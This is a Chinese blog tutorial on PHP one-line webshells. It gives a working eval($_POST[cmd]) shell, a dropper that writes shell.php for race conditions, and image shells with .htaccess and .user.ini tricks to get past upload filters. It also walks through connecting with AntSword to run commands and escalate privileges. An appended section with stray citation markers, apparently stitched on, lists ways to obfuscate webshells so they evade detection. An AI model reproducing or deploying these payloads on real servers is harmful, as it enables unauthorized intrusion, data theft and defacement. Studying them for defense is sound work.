你真的了解一句话木马吗?

目录

一、前言:

二、什么是一句话木马:

三、常见的一句话木马:

木马讲解:

1、$_POST[cmd]

2、eval()

3、"@"

4、脉络梳理

四、可用于条件竞争的一句话木马:

木马讲解:

1、fopen()

2、fputs()

 3、脉络梳理

五、图片马

1、什么是图片马:

2、.htaccess

3、木马图片

4.   .user.ini扩展

六、一句话木马进一步利用

1、连接

2、利用


一、前言:

  一句话木马是大多网安人在初步学习中,就遇到的一种简单的木马文件,相信很多人都像博主一样在接触到这一段代码时,都会感到非常的神奇,通过这样一段代码就能控制服务器,但却不知道其中的原理,在学习PHP之后才明白其构成,今天博主就带大家浅析一下一句话木马,也算是朝花夕拾吧,感兴趣的可以访问下我的博客http://blog.byzhb.top/

二、什么是一句话木马:

  一句话木马是一种短小精悍的恶意代码,通常只有一行之长。这种木马可以利用一些漏洞,以上传文件、修改配置等方式将恶意代码植入到受害者服务器上,然后通过一些特殊手法在服务器端执行,以达到入侵控制目的。攻击者可以使用一句话木马来窃取网站的敏感信息、篡改网站内容、攻击其他网站、制造破坏等。由于一句话木马具有体积小、隐蔽性强等特点,在黑客攻击中非常常见。

三、常见的一句话木马:

我们接触的一句话木马大多为这种,该木马使用了PHP语言,需要在有PHP环境的站点中才可使用

<?php @eval($_POST[cmd]);  ?>

木马讲解:

1、$_POST[cmd]

$_POST 是 PHP 中的一个超全局变量,我们在浏览器中POST方式提交的所有变量,都会保存在此数组中,变量名即为键名

2、eval()

eval() 函数在 PHP 中用于执行字符串中的代码并返回执行结果。该函数接受一个字符串作为参数,该字符串包含要执行的 PHP 代码(在此代码中为$_POST[cmd]),然后执行该代码,并且可以返回结果

该函数对php语法要求严格,所传入语句必须以" ; "号结尾

3、"@"

符号"@"的作用是 屏蔽该语句的报错信息,也就是所即使该语句执行错误也不会显示报错信息,如果站点PHP版本>=8.0的话,访问不带"@"的一句话木马会显示如下:

 原因是:php自8.0版本之后会对使用未定义的变量进行报错

我们初步访问此木马时并没有对其变量传值,固然会报错

4、脉络梳理

该木马的大体意思为,用eval函数,将我们post方式提交的名为cmd的变量,当做PHP代码执行,cmd变量可为任何攻击代码

四、可用于条件竞争的一句话木马:

关于什么是条件竞争请看博主的这篇文章http://t.csdn.cn/RFAgE

<?php fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' ); ?>

木马讲解:

1、fopen()

该函数的格式为 fopen(filename,mode,include_path,context)

fopen('shell.php','w')

该语句的意思为,以写入方式打开一个叫做“ shell.php ”,的文件,该文件不存在,故创建了一个shell.php文件

2、fputs()

该函数格式为  fputs(file,string,length)

fputs(fopen('shell.php','w'),'<?php @eval($_POST[cmd]);  ?>' )

file参数对应   fopen('shell.php','w') 语句生成的shell.php文件

string参数对应   '<?php @eval($_POST[cmd]);  ?>'  这条字符串

也就是说把木马语句写入到了shell.php中

 3、脉络梳理

该函数首先借用fopen函数w方式,创建了shell.php文件,然后用fputs函数'<?php @eval($_POST[cmd]);  ?>'  写入了该文件

换而言之,一旦访问该文件,就会生成一个名为shell.php的一句话木马,木马的内容在上文已讲过

五、图片马

1、什么是图片马:

在站点禁止上传php文件时,我们可以将含有一句话木马的jpg(也可以是其他img格式)图片,配合.htaccess文件,将其解析成php文件

2、.htaccess

该配置文件仅Apache服务器可用

文件内容为

<FilesMatch "jpg">  
SetHandler application/x-httpd-php
</FilesMatch>
//大体意思是设置当前目录所有带jpg的文件名都使用php解析,那么无论上传任何文件,只要符合php语言代码规范,就会被当做PHP执行。不符合规则,则报错

然后命名为  .htaccess  并上传

3、木马图片

文件内容为

GIF89a
<?php @eval($_POST[cmd]);  ?>

//GIF89a 为了绕过可能存在的MIME头检测

然后命名为 shell.jpg 并上传,上传后访问其路径便可以传参

4.   .user.ini扩展

文件内容为

auto_prepend_file=shell.jpg

//意思就是当前目录中的php文件的页头会自动去包含shell.jpg中的文件内容
auto_append_file 是页尾包含

文件名为  .user.ini

操作步骤和 .htaccess相似

六、一句话木马进一步利用

我们可以通过蚁剑、菜刀、冰蝎等webshell工具,来更加彻底的利用一句话木马,这里以蚁剑为例

1、连接

url地址为 站点url+木马上传路径

连接密码为 shell.php中POST的变量名

2、利用

在连接成功后,便可以遍历网站服务器目录,执行命令操作,或进行进行一步提权操作

### 一句话木马 PHP 的实现原理 #### 背景介绍 PHP作为一种广泛使用的服务器端脚本语言,在Web开发领域占据重要地位。然而,这种灵活性也使得恶意攻击者能够利用其特性创建所谓的“一句话木马”。这类程序通常极其简洁却功能强大,能够在目标服务器上执行任意命令。 #### 基础结构解析 最简单形式的一句话木马往往由两部分组成:接收外部输入的部分以及根据接收到的内容采取行动的部分。例如: ```php <?php @eval($_POST['cmd']);?> ``` 此代码片段会监听HTTP POST请求中的`cmd`参数,并尝试将其作为PHP代码执行[^1]。这意味着只要向该页面发送带有适当指令的POST请求,就能让服务器按照指示行事——无论是读取文件、修改数据库记录还是启动其他进程都不例外。 #### 数据传输方式 为了使上述机制生效,客户端需要通过特定的方式传递想要被执行的操作语句。常见的做法是在发起HTTP请求时附带必要的数据包。比如使用curl工具或浏览器插件构建自定义表单提交过程,其中包含触发条件和实际要运行的命令字符串[^4]。 #### 安全规避策略 随着安全防护措施日益严密,“传统”的一句话木马越来越难以逃过检测。因此出现了多种变种形态以增加隐蔽性和抗查杀能力。其中包括但不限于: - **编码混淆**:采用base64等算法对原始payload进行转换后再传入; - **逻辑拆分**:将完整的恶意代码分割成多个看似无害的小片段分别植入不同位置; - **环境感知**:加入判断逻辑确保只在满足某些前提条件下才激活恶意行为; 这些手段共同作用下可以让简单的几行代码变得异常复杂难辨,大大提高了入侵成功的几率同时也增加了事后追踪分析工作的难度[^3]。
评论 9
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Elitewa

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值